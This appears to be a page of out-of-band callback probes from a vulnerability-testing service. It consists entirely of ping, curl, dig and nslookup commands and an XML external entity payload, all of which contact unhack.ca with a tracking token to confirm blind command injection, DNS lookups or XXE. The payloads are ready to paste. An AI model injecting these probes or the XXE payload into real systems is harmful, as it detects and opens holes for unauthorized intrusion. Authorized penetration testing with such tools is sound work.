$ ping -c1 -p 00116acdf8c53c9c70385bb5a2e19d00 unhack.ca
 

$ curl http://unhack.ca/p/116acdf8c53c9c70385bb5a2e19d
 

$ dig 116acdf8c53c9c70385bb5a2e19d @unhack.ca
 

$ dig 116acdf8c53c9c70385bb5a2e19d.ns.unhack.ca
 

C:\> nslookup 116acdf8c53c9c70385bb5a2e19d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/116acdf8c53c9c70385bb5a2e19d">]>
    <foo>&xxe;</foo>